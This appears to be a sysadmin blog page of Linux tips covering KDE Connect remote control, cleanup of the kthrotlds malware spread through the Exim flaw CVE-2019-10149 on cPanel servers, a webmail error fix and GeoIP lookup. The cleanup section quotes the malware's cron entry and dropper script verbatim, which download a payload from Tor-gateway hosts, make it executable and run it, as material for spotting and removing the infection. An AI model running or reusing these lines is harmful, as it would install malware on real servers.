linux remote sound volume control with phone

kdeconnectd can help you manage sound volume, change song, also you can add more command for remote lock/unlock screen or turn off computer (laptop):

sudo dnf install kdeconnectd

Add to firewall:
sudo firewall-cmd –zone=public –permanent –add-port=1714-1764/tcp
sudo firewall-cmd –zone=public –permanent –add-port=1714-1764/udp
sudo systemctl restart firewalld.service

on Android phone you need install KDE Connect and than you need pair devices to access all features of remote management.

kthrotlds CVE-2019-10149 Exim/cPanel

If you found some strange name process like [kthrotlds] running on your server, it
means your server could be affected by CVE-2019-10149 Exim security exploit. Of course process name can be different, first of all you need to kill it:

pkill -9 -f kthrotlds
ps aux | grep kthrotlds # To check if process still exists

Its binnary file created in /usr/bin/ directory:
/usr/bin/[kthrotlds]
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
You need quarantine it or just remove.

You can find TCP connection on this process, so its not kernel procesas like it would like to pretend in your process list.

While fixing this issue my advice is to stop crond service: service crond stop

Than you should find all files which could be affected:

grep -r passwd /var/spool/cron*

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

You need to check /etc, /root, /usr/local/bin for bash/sh scripts with malware code, like:

#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST=”https://an7kmd2wp4xo7hpr”
TOR1=”.tor2web.su/”
TOR2=”.tor2web.io/”
TOR3=”.onion.sh/”
RPATH1=’src/ldm’
#LPATH=”${HOME-/tmp}/.cache/”
TIMEOUT=”75″
CTIMEOUT=”22″
COPTS=” -fsSLk –retry 2 –connect-timeout ${CTIMEOUT} –max-time ${TIMEOUT} ”
WOPTS=” –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=${CTIMEOUT} –timeout=${TIMEOUT} ”
tbin=$(command -v passwd); bpath=$(dirname “${tbin}”)
curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi
wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “.wgetrc’-style command” && wget=”$f” && break; done; fi; fi
#CHKCURL=’curl=”curl “; wget=”wget “; if [ “$(whoami)” = “root” ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl=”echo “; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget=”echo “; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; fi; ‘
CHKCURL=’tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; ‘
LBIN8=”kthrotlds”
null=’ >/dev/null 2>&1′

If its cPanel server, you need to check Exim version like this:

whmapi1 installed_versions packages=1|grep exim

exim: 4.91-4
– exim-4.91-4.cp1170.x86_64

or simple exim –version
Exim version 4.91 #1 built 06-Jun-2019 12:52:02

To patch WHM and Exsim, if you have older versions like v76 or v70. To check your WHM version:

whmapi1 installed_versions packages=1|grep whm
cpanel_and_whm: 11.78.0.27

It means 78.0.27

or
cpanel_and_whm: 11.80.0.14

It means 80.0.14

vi /etc/cpupdate.conf
CPANEL=11.76
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=daily

Than:
/scripts/upcp

Than back:
vi /etc/cpupdate.conf
CPANEL=release
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=daily

P.s. Also you need to check /root/.ssh/authorized_keys, /etc/cron.d, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly and etc.

You can all modified file during last 5 days:
find /etc/ -mtime -5 -print

This malware script removes all your previous cron tasks, so you need to restore them from your backups and than enable cron service again.

Webmail Internal Server Error 500 No response from subprocess (php) cPanel

Internal Server Error 500 No response from subprocess (php): The subprocess reported error number 72,057,594,037,927,935 when it ended. The process dumped a core file

Internal Server Error: “POST /cpsess8893829692/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1” 500 No response from subprocess (php): The subprocess reported error number 72,057,594,037,927,935 when it ended. The process dumped a core file.
Failed to write form data to subprocess: Broken pipe at /usr/local/cpanel/Cpanel/Server/Handlers/SubProcess.pm line 296.

rpm -ql cpanel-php72 | grep php-cgi
/usr/local/cpanel/3rdparty/php/72/bin/php-cgi

If you are missing this file you can try reinstall package or download it from another server
yum reinstall cpanel-php72

check ip by country linux

yum install geoip
geoipupdate
geoiplookup 1.1.1.1

GeoIP Country Edition: AU, Australia
ipaddr: 1.1.1.1
range_by_ip: 1.1.1.0 – 1.1.1.255
network: 1.1.1.0 – 1.1.1.255 ::24
ipnum: 16843009
range_by_num: 16843008 – 16843263
network num: 16843008 – 16843263 ::24